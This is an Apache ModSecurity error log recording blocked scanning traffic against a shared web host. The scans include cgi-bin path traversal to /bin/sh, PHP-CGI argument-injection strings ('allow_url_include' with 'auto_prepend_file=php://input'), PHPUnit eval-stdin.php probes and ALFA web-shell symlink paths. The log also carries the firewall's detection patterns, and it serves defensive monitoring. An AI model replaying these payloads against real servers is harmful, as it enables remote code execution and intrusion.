[Tue Oct 27 05:45:59.776187 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.9:21700] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/php53/install.php"] [unique_id "auBy1z4THoroSjopRdX-7gAAAAE"]
[Tue Oct 27 05:45:59.776259 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.9:21700] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/omeka/php53/install.php"] [unique_id "auBy1z4THoroSjopRdX-7gAAAAE"]
[Tue Oct 27 05:46:00.245990 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 44.212.145.46:53012] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:07.881787 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.132:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "auBy35VvqGtwGAy54pYOnwAAAA0"]
[Tue Oct 27 05:46:07.882272 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.132:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "auBy35VvqGtwGAy54pYOnwAAAA0"]
[Tue Oct 27 05:46:07.882557 2026] [security2:error] [pid 3201647:tid 3201647] [client 16.216.88.132:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/395_mod_setenvif.conf"] [unique_id "auBy35VvqGtwGAy54pYOnwAAAA0"]
[Tue Oct 27 05:46:08.320076 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 23.21.250.48:64443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:15.431308 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 185.191.171.2:42266] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:46:20.989812 2026] [core:error] [pid 3209611:tid 3209611] [client 103.46.186.148:45146] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Tue Oct 27 05:46:21.526903 2026] [core:error] [pid 3201640:tid 3201640] [client 103.46.186.148:45158] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Tue Oct 27 05:46:22.173367 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auBy7pVvqGtwGAy54pYOoAAAAA0"]
[Tue Oct 27 05:46:22.173480 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auBy7pVvqGtwGAy54pYOoAAAAA0"]
[Tue Oct 27 05:46:22.174025 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auBy7pVvqGtwGAy54pYOoAAAAA0"]
[Tue Oct 27 05:46:22.175091 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy7pVvqGtwGAy54pYOoAAAAA0"]
[Tue Oct 27 05:46:22.505873 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBy7pVvqGtwGAy54pYOoQAAAA0"]
[Tue Oct 27 05:46:22.505965 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBy7pVvqGtwGAy54pYOoQAAAA0"]
[Tue Oct 27 05:46:22.506498 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBy7pVvqGtwGAy54pYOoQAAAA0"]
[Tue Oct 27 05:46:22.507258 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy7pVvqGtwGAy54pYOoQAAAA0"]
[Tue Oct 27 05:46:22.792617 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy7pVvqGtwGAy54pYOogAAAA0"]
[Tue Oct 27 05:46:22.792695 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy7pVvqGtwGAy54pYOogAAAA0"]
[Tue Oct 27 05:46:22.793186 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy7pVvqGtwGAy54pYOogAAAA0"]
[Tue Oct 27 05:46:22.793928 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy7pVvqGtwGAy54pYOogAAAA0"]
[Tue Oct 27 05:46:23.154238 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auBy75VvqGtwGAy54pYOowAAAA0"]
[Tue Oct 27 05:46:23.154318 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auBy75VvqGtwGAy54pYOowAAAA0"]
[Tue Oct 27 05:46:23.154730 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auBy75VvqGtwGAy54pYOowAAAA0"]
[Tue Oct 27 05:46:23.155551 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy75VvqGtwGAy54pYOowAAAA0"]
[Tue Oct 27 05:46:23.431599 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy75VvqGtwGAy54pYOpAAAAA0"]
[Tue Oct 27 05:46:23.431699 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy75VvqGtwGAy54pYOpAAAAA0"]
[Tue Oct 27 05:46:23.446561 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auBy75VvqGtwGAy54pYOpAAAAA0"]
[Tue Oct 27 05:46:23.447401 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy75VvqGtwGAy54pYOpAAAAA0"]
[Tue Oct 27 05:46:23.773924 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy75VvqGtwGAy54pYOpQAAAA0"]
[Tue Oct 27 05:46:23.774646 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy75VvqGtwGAy54pYOpQAAAA0"]
[Tue Oct 27 05:46:23.775726 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy75VvqGtwGAy54pYOpQAAAA0"]
[Tue Oct 27 05:46:24.033001 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOpgAAAA0"]
[Tue Oct 27 05:46:24.033596 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOpgAAAA0"]
[Tue Oct 27 05:46:24.034418 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8JVvqGtwGAy54pYOpgAAAA0"]
[Tue Oct 27 05:46:24.353307 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOpwAAAA0"]
[Tue Oct 27 05:46:24.353748 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOpwAAAA0"]
[Tue Oct 27 05:46:24.354535 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBy8JVvqGtwGAy54pYOpwAAAA0"]
[Tue Oct 27 05:46:24.640376 2026] [security2:error] [pid 3201647:tid 3201647] [client 103.46.186.148:45166] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auBy8JVvqGtwGAy54pYOqAAAAA0"]
